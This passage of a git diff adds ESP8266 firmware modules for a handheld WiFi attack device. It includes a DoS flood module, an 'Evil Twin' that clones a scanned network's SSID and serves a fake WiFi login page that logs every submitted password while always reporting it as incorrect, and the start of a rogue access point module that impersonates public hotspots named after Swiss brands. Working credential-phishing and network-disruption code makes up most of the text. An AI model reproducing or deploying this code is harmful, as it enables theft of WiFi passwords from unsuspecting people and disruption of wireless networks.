oled.drawStr(0, SCREEN_HEIGHT - 1, "LONG: Start");
}
}
// --- Input Handling Function ---
void dos_handle_input(ButtonPressType pressType) {
if (pressType == ButtonPressType::LONG_PRESS) {
if (dos_flood_active) {
// Stop the flood
dos_stop();
// dos_flood_active is set to false inside dos_stop()
} else {
// Start the flood (targeting self for now)
dos_flood_active = true;
dos_packets_sent = 0; // Reset counter
current_dos_channel = 1; // Set FIXED channel
Serial.println("DoS Flood Started (Targeting Self).");
// <<< ADD WiFi Reset Steps >>>
Serial.println("DoS Start: Disconnecting WiFi...");
WiFi.disconnect(); // Force disconnect to reset state
delay(100); // Allow time for disconnect to process
wifi_set_opmode(STATION_MODE); // <<< Explicitly set STA mode
Serial.println("DoS Start: Set opmode to STATION_MODE.");
delay(50); // Short delay after setting mode
wifi_promiscuous_enable(1); // Enable promiscuous mode
Serial.println("DoS Start: Enabled promiscuous mode.");
delay(50); // Short delay after enabling promiscuous
bool channel_set_ok = wifi_set_channel(current_dos_channel); // Set initial channel
if (!channel_set_ok) {
Serial.printf("DoS Start: Set initial channel %d -> FAIL\n", current_dos_channel);
wifi_promiscuous_enable(0); // Clean up on failure
dos_flood_active = false; // Don't start if channel set failed
return; // Don't proceed if channel set failed
} else {
Serial.printf("DoS Start: Set initial channel %d -> OK\n", current_dos_channel);
delay(5); // Short delay after channel set
}
last_dos_packet_time = millis(); // Initialize timers
last_dos_redraw_time = millis();
needsRedraw = true;
}
}
// Short press currently does nothing in this mode
}

21
src/dos.h Normal file
View File

@ -0,0 +1,21 @@
#ifndef DOS_H
#define DOS_H
#include <Arduino.h>
#include "ui.h" // For ButtonPressType, needsRedraw, etc.
// --- Constants ---
#define DOS_PACKET_INTERVAL 50 // Milliseconds between packets (Increased for testing)
#define DOS_CHANNEL_HOP_INTERVAL 250 // Milliseconds on each channel
// --- State ---
extern bool dos_flood_active; // Make active flag visible externally if needed
// --- Function Prototypes ---
void dos_init();
void dos_stop();
void dos_update();
void dos_draw();
void dos_handle_input(ButtonPressType pressType);
#endif // DOS_H

633
src/mitm.cpp Normal file
View File

@ -0,0 +1,633 @@
#include "mitm.h"
#include "config.h"
#include "utils.h"
#include "ui.h" // For needsRedraw, oled access
#include "scanner.h" // <<< Include scanner header for AP list access
#include <ESP8266WiFi.h>
#include <DNSServer.h> // For DNS Spoofing
#include <ESP8266WebServer.h> // For Captive Portal
// --- External UI Elements ---
extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C oled;
extern bool needsRedraw;
extern UIState currentState; // To potentially switch back to main menu
// --- MitM Module State ---
static MitmState currentMitmState = MITM_STATE_IDLE;
static char target_ssid[33] = "[No Target]"; // Store selected target SSID
static uint8_t target_bssid[6] = {0}; // Store selected target BSSID (optional, for deauth)
static char captured_password[65] = ""; // To store captured password
static IPAddress apIP(192, 168, 4, 1); // IP address for the Rogue AP
static IPAddress netMsk(255, 255, 255, 0);
// --- Target Selection State ---
static int mitm_selected_ap_index = 0; // Index in the scanner's ap_list
static int mitm_display_offset = 0; // For scrolling the AP list
// --- Captured Password Count ---
static int captured_password_count = 0; // Count how many passwords have been submitted
// --- Logged Password Storage ---
const int MAX_LOGGED_PASSWORDS = 10;
const int MAX_PASSWORD_LEN = 64; // Max length for a single password (+1 for null)
static char logged_passwords[MAX_LOGGED_PASSWORDS][MAX_PASSWORD_LEN + 1];
static int logged_password_idx = 0; // Index for the *next* slot to write to (circular buffer)
static int view_log_scroll_offset = 0; // For scrolling the log view on OLED
// --- Login Error State ---
static bool show_login_error = false; // Flag to indicate if the error message should be shown
// --- Waiting Animation State ---
static char waiting_anim_char = '|';
static unsigned long last_anim_time = 0;
const unsigned long ANIM_INTERVAL = 250; // Milliseconds between animation frames
// --- Capture Alarm State ---
static bool new_password_captured = false; // Flag set when a new password arrives
static unsigned long capture_alarm_start_time = 0; // When the alarm started
const unsigned long CAPTURE_ALARM_DURATION = 1500; // How long the alarm effect lasts (milliseconds)
// --- Logged Blinking State ---
const unsigned long LOGGED_BLINK_INTERVAL = 500; // Blink rate (milliseconds on/off)
static unsigned long last_blink_time = 0; // Timer for blinking redraw trigger
static bool logged_text_visible = true; // State for blinking visibility
// --- Server Instances ---
DNSServer dnsServer;
ESP8266WebServer webServer(80); // Web server on port 80
// --- Captive Portal HTML ---
// Basic HTML for a fake login page. Can be customized extensively.
const char* captivePortalHTML = R"rawliteral(
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>WiFi Login</title>
<style>
body { font-family: Arial, sans-serif; background-color: #f0f0f0; text-align: center; padding-top: 50px; }
.container { background-color: #fff; padding: 20px; border-radius: 8px; display: inline-block; box-shadow: 0 0 10px rgba(0,0,0,0.1); }
input[type=text], input[type=password] { width: 90%; padding: 12px 20px; margin: 8px 0; display: inline-block; border: 1px solid #ccc; border-radius: 4px; box-sizing: border-box; }
button { background-color: #4CAF50; color: white; padding: 14px 20px; margin: 8px 0; border: none; border-radius: 4px; cursor: pointer; width: 90%; }
button:hover { opacity: 0.8; }
</style>
</head>
<body>
<div class="container">
<h2>Connect to WiFi</h2>
<p>Please enter the password for '%s'</p> <!-- SSID placeholder -->
<p style="color:red;">%s</p> <!-- Error Message placeholder -->
<form action="/login" method="POST">
<input type="password" id="password" name="password" placeholder="Password" required><br>
<button type="submit">Connect</button>
</form>
</div>
</body>
</html>
)rawliteral";
// --- Forward Declarations for Web Handlers ---
void handleRoot();
void handleLogin();
void handleNotFound();
void sendCaptivePortalHTML(const char* ssid, const char* error_message); // Helper function
// --- Initialization ---
void mitm_init() {
Serial.println("MitM Module Initialized.");
currentMitmState = MITM_STATE_IDLE;
strncpy(target_ssid, "[No Target]", sizeof(target_ssid) -1); // Initialize with no target
// Any other one-time setup
}
// --- Start MitM Attack ---
void mitm_start() {
// Prevent starting only if already active or transitioning
if (currentMitmState == MITM_STATE_STARTING ||
currentMitmState == MITM_STATE_RUNNING ||
currentMitmState == MITM_STATE_STOPPING) {
Serial.println("MitM Start: Already running or starting.");
return;
}
// Check if a valid target has been selected
if (strcmp(target_ssid, "[No Target]") == 0 || target_ssid[0] == '\0') {
Serial.println("MitM Start: No target AP selected!");
// Optionally switch back to select state or show error on OLED?
// For now, just return.
return;
}
Serial.println("MitM Starting...");
currentMitmState = MITM_STATE_STARTING;
needsRedraw = true;
// Clear previous logs and counters on new start
captured_password_count = 0;
logged_password_idx = 0;
view_log_scroll_offset = 0;
memset(logged_passwords, 0, sizeof(logged_passwords)); // Clear the array
// TODO:
// 1. Configure and start Rogue AP (WiFi.softAPConfig, WiFi.softAP)
// 2. Configure and start DNS Server (dnsServer.start)
// 3. Configure Web Server handlers (webServer.on, webServer.onNotFound)
// 4. Start Web Server (webServer.begin)
// 5. Optionally start Deauth attack against real AP
// --- Placeholder Setup ---
Serial.printf("MitM: Setting up Evil Twin AP: %s\n", target_ssid);
WiFi.mode(WIFI_AP); // Switch to AP mode
WiFi.softAPConfig(apIP, apIP, netMsk);
// Use an open network for simplicity first, add password later if needed
bool ap_started = WiFi.softAP(target_ssid);
if (ap_started) {
Serial.printf("MitM: Rogue AP Started. IP: %s\n", WiFi.softAPIP().toString().c_str());
// Start DNS
Serial.println("MitM: Starting DNS Server.");
// Redirect all domains to our AP's IP address
dnsServer.setErrorReplyCode(DNSReplyCode::NoError);
dnsServer.start(53, "*", apIP); // Port 53, capture all domains
// Start Web Server (Define handlers later)
Serial.println("MitM: Starting Web Server.");
webServer.on("/", HTTP_GET, handleRoot); // Serve the login page
webServer.on("/login", HTTP_POST, handleLogin); // Handle form submission
webServer.onNotFound(handleNotFound); // Redirect other requests (Captive Portal)
webServer.begin();
Serial.println("MitM: Running.");
currentMitmState = MITM_STATE_RUNNING;
} else {
Serial.println("!!! MitM: Failed to start Rogue AP!");
mitm_stop(); // Cleanup on failure
}
needsRedraw = true;
}
// --- Stop MitM Attack ---
void mitm_stop() {
Serial.println("MitM Stopping...");
currentMitmState = MITM_STATE_STOPPING;
// Stop servers and WiFi AP
webServer.stop();
dnsServer.stop();
WiFi.softAPdisconnect(true); // Disconnect clients and stop AP
WiFi.mode(WIFI_STA); // Return to STA mode
WiFi.disconnect(); // Disconnect from any network
// Clear captured data
memset(captured_password, 0, sizeof(captured_password));
// Clear captured data count
captured_password_count = 0;
// Clear log state
logged_password_idx = 0;
view_log_scroll_offset = 0;
memset(logged_passwords, 0, sizeof(logged_passwords)); // Clear the array
Serial.println("MitM Stopped.");
currentMitmState = MITM_STATE_IDLE;
needsRedraw = true;
}
// --- Main Update Loop ---
void mitm_update() {
// Only run updates if the MitM module is in the RUNNING state
if (currentMitmState == MITM_STATE_RUNNING) {
// --- Handle Network Tasks ---
// Process any incoming DNS requests (for captive portal redirection)
dnsServer.processNextRequest();
// Process any incoming web requests to the captive portal server
webServer.handleClient();
// --- Handle UI Updates (Animation/Blinking) ---
// Get the current time once to use for timing checks below
unsigned long currentMillis = millis();
// Check if any passwords have been captured yet
if (captured_password_count == 0) {
// --- No passwords captured: Update "Waiting..." Animation ---
// Check if it's time for the next animation frame
if (currentMillis - last_anim_time > ANIM_INTERVAL) {
last_anim_time = currentMillis; // Reset the animation timer
// Cycle through the animation characters: | / - \
// This switch statement selects the next character based on the current one
switch (waiting_anim_char) {
case '|': waiting_anim_char = '/'; break;
case '/': waiting_anim_char = '-'; break;
case '-': waiting_anim_char = '\\'; break; // Use double backslash for the character
case '\\': waiting_anim_char = '|'; break;
default: waiting_anim_char = '|'; break; // If something unexpected happens, reset
} // End of switch statement
// We need to redraw the screen to show the new animation character
needsRedraw = true;
}
} else {
// --- Passwords HAVE been captured: Update "Logged: X" Blinking ---
// Check if it's time to toggle the blink state (on/off)
if (currentMillis - last_blink_time > LOGGED_BLINK_INTERVAL) {
last_blink_time = currentMillis; // Reset the blink timer
// We need to redraw the screen to potentially change the visibility
needsRedraw = true;
}
}
} // End of if (currentMitmState == MITM_STATE_RUNNING)
// You could add other state updates outside the RUNNING check if needed
// For example, handling timeouts or other background tasks for MitM.
} // End of mitm_update function
// --- Helper to Send Captive Portal HTML (Chunked) ---
void sendCaptivePortalHTML(const char* ssid, const char* error_message) {
// Find placeholders
const char* ssidPlaceholderPos = strstr(captivePortalHTML, "%s");
const char* errorPlaceholderPos = ssidPlaceholderPos ? strstr(ssidPlaceholderPos + 2, "%s") : nullptr; // Find second %s
if (!ssidPlaceholderPos || !errorPlaceholderPos) {
Serial.println("MitM Web Helper: Error! Placeholders not found in HTML.");
webServer.send(500, "text/plain", "Internal Server Error: Portal template invalid.");
return;
}
// Calculate lengths
size_t part1Len = ssidPlaceholderPos - captivePortalHTML;
size_t ssidLen = strlen(ssid);
size_t part2Len = errorPlaceholderPos - (ssidPlaceholderPos + 2);
size_t errorLen = strlen(error_message);
size_t part3Len = strlen(errorPlaceholderPos + 2);
size_t totalLen = part1Len + ssidLen + part2Len + errorLen + part3Len;
// Send headers
webServer.setContentLength(totalLen);
webServer.send(200, "text/html", ""); // Send headers, empty content
// Send content in chunks
webServer.sendContent_P(captivePortalHTML, part1Len);
webServer.sendContent(ssid, ssidLen);
webServer.sendContent_P(ssidPlaceholderPos + 2, part2Len);
webServer.sendContent(error_message, errorLen);
webServer.sendContent_P(errorPlaceholderPos + 2, part3Len);
webServer.client().stop(); // Close connection
Serial.println("MitM Web Helper: Finished sending chunked response.");
}
// --- Web Server Handlers ---
void handleRoot() {
Serial.println("MitM Web: Serving root page (chunked).");
const char* error_msg = "";
if (show_login_error) {
Serial.println("MitM Web: Login error flag is set, showing error message.");
error_msg = "Incorrect Password. Please try again.";
show_login_error = false; // Reset the flag after using it
}
sendCaptivePortalHTML(target_ssid, error_msg);
}
void handleLogin() {
Serial.println("MitM Web: Received POST to /login");
if (webServer.hasArg("password")) {
String password = webServer.arg("password");
Serial.printf("MitM Web: Potential Password Captured: %s\n", password.c_str());
// Store the password in the log array (circular buffer)
strncpy(logged_passwords[logged_password_idx], password.c_str(), MAX_PASSWORD_LEN);
logged_passwords[logged_password_idx][MAX_PASSWORD_LEN] = '\0'; // Ensure null termination
logged_password_idx = (logged_password_idx + 1) % MAX_LOGGED_PASSWORDS; // Move to next slot, wrap around
captured_password_count++; // Increment count
new_password_captured = true;
capture_alarm_start_time = millis();
needsRedraw = true; // Force UI redraw to update count if needed
// Set the flag to show the error on the next page load
show_login_error = true;
// Redirect the client back to the root page
webServer.sendHeader("Location", "/", true);
webServer.send(302, "text/plain", "Password Incorrect - Redirecting..."); // 302 Found
} else {
Serial.println("MitM Web: Login POST received, but no 'password' argument.");
webServer.send(400, "text/plain", "Bad Request: Missing password field.");
}
}
void handleNotFound() {
// Redirect to root page (captive portal trigger)
Serial.println("MitM Web: handleNotFound triggered, redirecting.");
webServer.sendHeader("Location", "/", true); // Redirect to root
webServer.send(302, "text/plain", ""); // 302 Found status code
}
// --- Draw MitM UI ---
void mitm_draw() {
oled.setFont(u8g2_font_6x10_tf); // Ensure default font at start
switch (currentMitmState) {
case MITM_STATE_IDLE:
// Draw Title
oled.drawStr(0, 25, "Evil Twin Ready"); // Keep at default position for now
// Draw Target Label (Small)
oled.setFont(u8g2_font_5x7_tf);
oled.drawStr(0, 40, "Target SSID:");
oled.setFont(u8g2_font_6x10_tf); // Back to default font
// Draw Target SSID (Default Font)
oled.drawStr(0, 52, target_ssid);
// Draw Footer (Small)
oled.setFont(u8g2_font_5x7_tf);
oled.drawStr(0, SCREEN_HEIGHT - 1, "LONG: Select Target");
oled.setFont(u8g2_font_6x10_tf); // Back to default font
break;
case MITM_STATE_SELECT_TARGET:
{ // Block scope for local variables
oled.drawStr(0, 24, "Select Target AP:");
// oled.drawLine(0, 26, SCREEN_WIDTH, 26); // Line removed
const int items_per_page = 3; // Keep showing 3 APs
int yPos = 32; // Start list items at Y=32
int line_height = 11;
if (ap_count == 0) {
oled.drawStr(10, 40, "[No APs Found]");
oled.drawStr(10, 52, "Run Scanner First!");
} else {
for (int i = 0; i < items_per_page; ++i) {
int current_item_index = mitm_display_offset + i;
if (current_item_index >= ap_count) break; // Stop if we run out of APs
AccessPointInfo* ap = &ap_list[current_item_index];
char buffer[40]; // <<< INCREASE BUFFER SIZE (e.g., to 40)
char select_char = (current_item_index == mitm_selected_ap_index) ? '>' : ' ';
String encStr = encryption_to_string(ap->encryption); // Assuming you have this function from scanner
snprintf(buffer, sizeof(buffer), "%c%-16.16s %s", select_char, ap->ssid[0] ? ap->ssid : "[Hidden]", encStr.c_str());
oled.drawStr(0, yPos + (i * line_height), buffer);
}
// Draw scroll indicators if needed (similar to scanner)
if (ap_count > items_per_page) {
if (mitm_display_offset > 0) oled.drawTriangle(SCREEN_WIDTH - 6, 28, SCREEN_WIDTH - 9, 31, SCREEN_WIDTH - 3, 31); // Up (Y=28-31)
if (mitm_display_offset + items_per_page < ap_count) oled.drawTriangle(SCREEN_WIDTH - 6, SCREEN_HEIGHT - 3, SCREEN_WIDTH - 9, SCREEN_HEIGHT - 7, SCREEN_WIDTH - 3, SCREEN_HEIGHT - 7); // Down
}
}
oled.drawStr(0, SCREEN_HEIGHT - 1, "S:Scroll L:Select");
}
break;
case MITM_STATE_STARTING:
oled.drawStr(0, 30, "MitM Starting...");
break;
case MITM_STATE_RUNNING:
{ // Block scope
// Draw Title (Moved up)
oled.drawStr(0, 10, "Evil Twin Active"); // Draw just below header line
// Draw AP Info
oled.drawStr(0, 24, "AP:");
oled.drawStr(18, 24, target_ssid);
// Draw Status (Waiting animation or Logged count)
char footer_text[20]; // Buffer for footer text
if (captured_password_count > 0) {
// --- Handle Capture Alarm & Blinking ---
bool draw_inverted = false;
bool draw_normal = true; // Assume we draw normally unless blinking off
if (new_password_captured) {
if (millis() - capture_alarm_start_time < CAPTURE_ALARM_DURATION) {
draw_inverted = true; // Still within alarm duration
draw_normal = false; // Don't draw normally during alarm
} else {
new_password_captured = false; // Alarm duration ended
}
}
// If alarm is not active, handle blinking
if (!draw_inverted) {
// Toggle visibility based on time interval
logged_text_visible = (millis() / LOGGED_BLINK_INTERVAL) % 2 == 0;
if (!logged_text_visible) {
draw_normal = false; // Don't draw if in the "off" blink phase
}
}
// --- End Alarm & Blinking Handling ---
char count_buffer[20];
snprintf(count_buffer, sizeof(count_buffer), "Logged: %d", captured_password_count);
// Draw the "Logged: X" text (normal or inverted)
int text_y = 38;
int text_width = oled.getStrWidth(count_buffer);
int text_height = 10; // Font height
if (draw_inverted) {
oled.setDrawColor(1); // Set color to foreground (white)
oled.drawBox(0, text_y - text_height + 1, text_width + 2, text_height + 1); // Draw black box behind text area
oled.setDrawColor(0); // Set color to background (black) for text
oled.drawStr(1, text_y, count_buffer); // Draw text slightly offset within box
oled.setDrawColor(1); // IMPORTANT: Reset draw color to foreground for other elements
} else if (draw_normal) { // Only draw normally if not inverted and not in blink "off" phase
oled.drawStr(0, text_y, count_buffer); // Draw normally
}
strncpy(footer_text, "S:Logs L:Stop", sizeof(footer_text));
} else {
char waiting_buffer[15];
snprintf(waiting_buffer, sizeof(waiting_buffer), "Waiting %c", waiting_anim_char);
oled.drawStr(0, 38, waiting_buffer); // Draw waiting text + animation
strncpy(footer_text, "LONG: Stop", sizeof(footer_text));
}
footer_text[sizeof(footer_text)-1] = '\0'; // Ensure null termination
// Draw Footer (Small)
oled.setFont(u8g2_font_5x7_tf);
oled.drawStr(0, SCREEN_HEIGHT - 1, footer_text);
oled.setFont(u8g2_font_6x10_tf); // Back to default font
} // End block scope
break;
case MITM_STATE_STOPPING:
oled.drawStr(0, 30, "MitM Stopping...");
break;
case MITM_STATE_VIEW_LOGS:
{ // Block scope for VIEW_LOGS state
int displayable_logs = min(captured_password_count, MAX_LOGGED_PASSWORDS);
int font_height = 10; // Approx height of the font used (6x10)
int line_spacing = font_height + 1; // Y distance between lines (11)
int start_y = 24; // Y position for the first line of the password (Reverted)
if (displayable_logs == 0) {
oled.drawStr(10, 40, "[No Logs Yet]"); // Keep this centered vertically
} else {
// --- Draw Scroll Indicators (Page Up/Down) ---
// Up arrow if not showing the first log (index 0)
if (view_log_scroll_offset > 0) {
oled.drawTriangle(SCREEN_WIDTH - 6, 16, SCREEN_WIDTH - 9, 20, SCREEN_WIDTH - 3, 20); // Up
}
// Down arrow if not showing the last log
if (view_log_scroll_offset < displayable_logs - 1) {
oled.drawTriangle(SCREEN_WIDTH - 6, SCREEN_HEIGHT - 3, SCREEN_WIDTH - 9, SCREEN_HEIGHT - 7, SCREEN_WIDTH - 3, SCREEN_HEIGHT - 7); // Down
}
// --- Calculate index of the single password to display ---
int log_index_to_display = view_log_scroll_offset; // 0-based index of the log entry
// Calculate actual index in circular buffer
int start_idx;
if (captured_password_count <= MAX_LOGGED_PASSWORDS) {
start_idx = 0;
} else {
start_idx = logged_password_idx;
}
int actual_idx = (start_idx + log_index_to_display) % MAX_LOGGED_PASSWORDS;
// --- Draw the selected password across up to 4 lines ---
const char* password = logged_passwords[actual_idx];
int password_len = strlen(password);
// Draw Prefix "N:" (e.g., "1:", "2:")
char prefix_buffer[6];
snprintf(prefix_buffer, sizeof(prefix_buffer), "%d:", log_index_to_display + 1);
oled.drawStr(0, start_y, prefix_buffer); // Draw prefix on the first line
int prefix_width = oled.getStrWidth(prefix_buffer);
prefix_width += 2; // Gap
const int chars_per_line = 17;
char line_buf[chars_per_line + 1];
int current_offset = 0; // Start at the beginning of the password string
// Draw up to 4 lines
for (int line_num = 0; line_num < 4; ++line_num) {
if (current_offset >= password_len) break; // Stop if we've drawn the whole password
int chars_to_draw = min(password_len - current_offset, chars_per_line);
strncpy(line_buf, password + current_offset, chars_to_draw);
line_buf[chars_to_draw] = '\0';
oled.drawStr(prefix_width, start_y + (line_num * line_spacing), line_buf);
current_offset += chars_to_draw; // Move offset for the next line
}
}
// --- Draw Footer with smaller font ---
oled.setFont(u8g2_font_5x7_tf); // Use a smaller font (e.g., 5x7)
oled.drawStr(0, SCREEN_HEIGHT - 1, "S:Next L:Back"); // Updated footer text
oled.setFont(u8g2_font_6x10_tf); // <<< IMPORTANT: Set font back to default for next draw cycle
} // End block scope
break;
default:
oled.drawStr(0, 30, "MitM Unknown State");
break;
}
}
// --- Handle Button Input ---
void mitm_handle_input(ButtonPressType pressType) {
switch (currentMitmState) {
case MITM_STATE_IDLE:
if (pressType == ButtonPressType::LONG_PRESS) {
// Enter selection mode
currentMitmState = MITM_STATE_SELECT_TARGET;
mitm_selected_ap_index = 0; // Reset selection
mitm_display_offset = 0;
needsRedraw = true;
Serial.println("MitM: Entering Target Selection Mode.");
}
break;
case MITM_STATE_SELECT_TARGET:
if (ap_count > 0) { // Only handle input if there are APs
const int items_per_page = 3; // <<< Update items per page here too
if (pressType == ButtonPressType::SHORT_PRESS) {
// Scroll down
mitm_selected_ap_index = (mitm_selected_ap_index + 1) % ap_count;
// Adjust display offset
if (mitm_selected_ap_index < mitm_display_offset) mitm_display_offset = mitm_selected_ap_index;
else if (mitm_selected_ap_index >= mitm_display_offset + items_per_page) mitm_display_offset = mitm_selected_ap_index - items_per_page + 1;
needsRedraw = true;
} else if (pressType == ButtonPressType::LONG_PRESS) {
// Select the highlighted AP
AccessPointInfo* selectedAP = &ap_list[mitm_selected_ap_index];
strncpy(target_ssid, selectedAP->ssid, sizeof(target_ssid) - 1);
target_ssid[sizeof(target_ssid) - 1] = '\0'; // Ensure null termination
memcpy(target_bssid, selectedAP->bssid, 6);
Serial.printf("MitM: Target Selected: %s (%s)\n", target_ssid, macToString(target_bssid).c_str());
mitm_start(); // Attempt to start the attack with the selected target
// mitm_start will change the state if successful
}
} else if (pressType == ButtonPressType::LONG_PRESS) {
// Allow long press to go back even if list is empty
currentMitmState = MITM_STATE_IDLE;
needsRedraw = true;
}
break;
case MITM_STATE_RUNNING:
if (pressType == ButtonPressType::LONG_PRESS) {
mitm_stop();
} else if (pressType == ButtonPressType::SHORT_PRESS) {
// Enter log view mode if passwords have been captured
if (captured_password_count > 0) {
currentMitmState = MITM_STATE_VIEW_LOGS;
view_log_scroll_offset = 0; // Start scroll at the top
needsRedraw = true;
Serial.println("MitM: Entering Log View Mode.");
}
}
break;
case MITM_STATE_STARTING:
case MITM_STATE_STOPPING:
// Ignore input while starting/stopping for now
break;
case MITM_STATE_VIEW_LOGS:
{ // Block scope
int displayable_logs = min(captured_password_count, MAX_LOGGED_PASSWORDS);
if (pressType == ButtonPressType::LONG_PRESS) {
// Go back to running state
currentMitmState = MITM_STATE_RUNNING;
needsRedraw = true;
Serial.println("MitM: Exiting Log View Mode.");
} else if (pressType == ButtonPressType::SHORT_PRESS) {
// Go to the next password log (if possible)
if (displayable_logs > 0 && view_log_scroll_offset < displayable_logs - 1) {
view_log_scroll_offset++;
needsRedraw = true;
} else {
// Optional: Add wrap-around or visual feedback if at the end
needsRedraw = true;
}
}
} // End block scope
break;
default:
// Should not happen, maybe return to idle on long press?
if (pressType == ButtonPressType::LONG_PRESS) {
currentMitmState = MITM_STATE_IDLE;
needsRedraw = true;
}
break;
}
// Old logic:
/* if (pressType == ButtonPressType::LONG_PRESS) {
if (currentMitmState == MITM_STATE_RUNNING || currentMitmState == MITM_STATE_CAPTURED) {
mitm_stop();
} else if (currentMitmState == MITM_STATE_IDLE) {
mitm_start();
}
// If starting/stopping, long press might cancel or do nothing yet
} */
// Short press could be used later for selecting targets or viewing details
}
// --- Get Current State ---
MitmState mitm_get_current_state() {
return currentMitmState;
}

43
src/mitm.h Normal file
View File

@ -0,0 +1,43 @@
#ifndef MITM_H
#define MITM_H
#include <Arduino.h>
#include "config.h" // Include if needed for specific pins or settings
#include "ui.h" // For ButtonPressType, maybe UIState if needed internally
// --- MitM Attack States ---
typedef enum {
MITM_STATE_IDLE, // Not active, ready to be configured/started
MITM_STATE_SELECT_TARGET,// <<< UI state for selecting the target AP
MITM_STATE_STARTING, // Setting up Rogue AP, DNS, Web Server, Deauth
MITM_STATE_RUNNING, // Actively waiting for clients and credentials
MITM_STATE_CAPTURED, // Credentials have been captured
MITM_STATE_VIEW_LOGS, // <<< New state to view captured passwords
MITM_STATE_STOPPING // Cleaning up resources
} MitmState;
// --- Function Declarations ---
// Initialization (called once in setup)
void mitm_init();
// Start the MitM attack process (potentially takes target AP info)
// void mitm_start(const AccessPointInfo& targetAP); // Example if using scanner data
void mitm_start(); // Simpler start for now
// Stop the MitM attack and clean up
void mitm_stop();
// Main update loop (called repeatedly in loop when in MITM_MODE)
void mitm_update();
// Draw the MitM UI on the OLED
void mitm_draw();
// Handle button input when in MITM_MODE
void mitm_handle_input(ButtonPressType pressType);
// Get the current internal state of the MitM module
MitmState mitm_get_current_state(); // Optional getter
#endif // MITM_H

635
src/rogue_ap.cpp Normal file
View File

@ -0,0 +1,635 @@
#include "rogue_ap.h"
#include "ui.h" // May need UI interaction later
#include "config.h" // For screen dimensions etc.
#include "utils.h" // For utility functions if needed
#include <ESP8266WiFi.h>
#include <DNSServer.h>
#include <ESP8266WebServer.h>
#include <vector> // Needed for web server argument handling
// --- External UI Elements ---
extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C oled;
extern bool needsRedraw;
extern UIState currentState; // To potentially switch back to main menu
// --- Predefined SSIDs ---
const char* rogue_ap_ssid_options[ROGUE_AP_SSID_COUNT] = {
"Swiscom_Free_WiFi",
"Airport_Guest_WiFi",
"Migros_Guest_WiFi", // Duplicate as requested
"Mall_CH_WiFi",
"FreeStadtNetz",
"SBB_Free_WiFi",
"Hotel_Guest_CH",
"Campus_WiFi_Open",
"OpenParkingNet",
"Klinik_GuestWiFi",
"Library_Free_CH",
"Messe_Open",
"Fitness_GuestWiFi",
"Mobility_OpenNet",
"Migros_Guest_WiFi", // Duplicate as requested
"Cafe_Open_WiFi",
"Post_Free_WiFi" // Added new SSID
};
// --- State Variables ---
RogueAPState currentRogueAPState = ROGUE_AP_STATE_IDLE;
static int selected_ssid_index = 0;
static int display_ssid_offset = 0; // For scrolling SSID list
static char active_ssid[MAX_SSID_LEN + 1] = ""; // Currently active SSID
// --- Credential Logging ---
RogueCapturedCredentials captured_credentials_log[MAX_ROGUE_LOGS];
int captured_creds_count = 0; // Total number of *sets* captured
static int next_log_slot = 0; // Index for the next log entry (circular)
static int view_log_scroll_offset = 0; // For scrolling through logs
static bool new_capture_flag = false; // Flag for capture alert
static unsigned long capture_alert_start_time = 0;
const unsigned long CAPTURE_ALERT_DURATION = 1500; // ms
// --- Network Server Instances ---
static DNSServer dnsServer_rogue;
static ESP8266WebServer webServer_rogue(80);
static IPAddress rogueAP_IP(192, 168, 4, 1);
static IPAddress rogueAP_NetMsk(255, 255, 255, 0);
// --- Waiting Animation State (similar to MitM) ---
static char waiting_anim_char_rogue = '|';
static unsigned long last_anim_time_rogue = 0;
const unsigned long ROGUE_ANIM_INTERVAL = 250; // ms
// --- Forward Declarations for Web Handlers ---
void handleRoot_Rogue();
void handleLogin_Rogue();
void handleNotFound_Rogue();
void sendCaptivePortalHTML_Rogue(const char* error_message);
// --- Initialization ---
void rogue_ap_init() {
Serial.println("Rogue AP Module Initialized.");
currentRogueAPState = ROGUE_AP_STATE_IDLE;
selected_ssid_index = 0;
display_ssid_offset = 0;
active_ssid[0] = '\0';
captured_creds_count = 0;
next_log_slot = 0;
view_log_scroll_offset = 0;
// Clear log buffer initially
memset(captured_credentials_log, 0, sizeof(captured_credentials_log));
}
// --- Start Rogue AP ---
void rogue_ap_start() {
if (currentRogueAPState != ROGUE_AP_STATE_SELECT_SSID) {
Serial.println("Rogue AP Start: Cannot start, not in selection state.");
return; // Should only start after selection
}
if (selected_ssid_index < 0 || selected_ssid_index >= ROGUE_AP_SSID_COUNT) {
Serial.println("Rogue AP Start: Invalid SSID index selected.");
currentRogueAPState = ROGUE_AP_STATE_IDLE; // Go back to idle
needsRedraw = true;
return;
}
strncpy(active_ssid, rogue_ap_ssid_options[selected_ssid_index], MAX_SSID_LEN);
active_ssid[MAX_SSID_LEN] = '\0'; // Ensure null termination
Serial.printf("Rogue AP Starting with SSID: %s\n", active_ssid);
currentRogueAPState = ROGUE_AP_STATE_STARTING;
needsRedraw = true;
// Reset logs for the new session
captured_creds_count = 0;
next_log_slot = 0;
view_log_scroll_offset = 0;
memset(captured_credentials_log, 0, sizeof(captured_credentials_log));
// Configure and start WiFi AP
WiFi.mode(WIFI_AP);
WiFi.softAPConfig(rogueAP_IP, rogueAP_IP, rogueAP_NetMsk);
bool ap_started = WiFi.softAP(active_ssid); // Open network
if (ap_started) {
Serial.printf("Rogue AP Started. IP: %s\n", WiFi.softAPIP().toString().c_str());
// Start DNS Server
dnsServer_rogue.setErrorReplyCode(DNSReplyCode::NoError);
dnsServer_rogue.start(53, "*", rogueAP_IP); // DNS port 53, redirect all domains
Serial.println("Rogue AP: DNS Server Started.");
// Configure and Start Web Server
webServer_rogue.on("/", HTTP_GET, handleRoot_Rogue);
webServer_rogue.on("/login", HTTP_POST, handleLogin_Rogue); // Endpoint for form submission
webServer_rogue.onNotFound(handleNotFound_Rogue); // Captive portal redirection
webServer_rogue.begin();
Serial.println("Rogue AP: Web Server Started.");
currentRogueAPState = ROGUE_AP_STATE_RUNNING;
last_anim_time_rogue = millis(); // Reset animation timer
} else {
Serial.println("!!! Rogue AP: Failed to start SoftAP!");
rogue_ap_stop(); // Cleanup on failure
}
needsRedraw = true;
}
// --- Stop Rogue AP ---
void rogue_ap_stop() {
Serial.println("Rogue AP Stopping...");
RogueAPState previousState = currentRogueAPState;
currentRogueAPState = ROGUE_AP_STATE_STOPPING; // Indicate stopping phase
webServer_rogue.stop();
dnsServer_rogue.stop();
WiFi.softAPdisconnect(true); // Disconnect clients and stop AP
WiFi.mode(WIFI_STA); // Return to STA mode (standard practice)
WiFi.disconnect(); // Disconnect from any network
active_ssid[0] = '\0'; // Clear active SSID
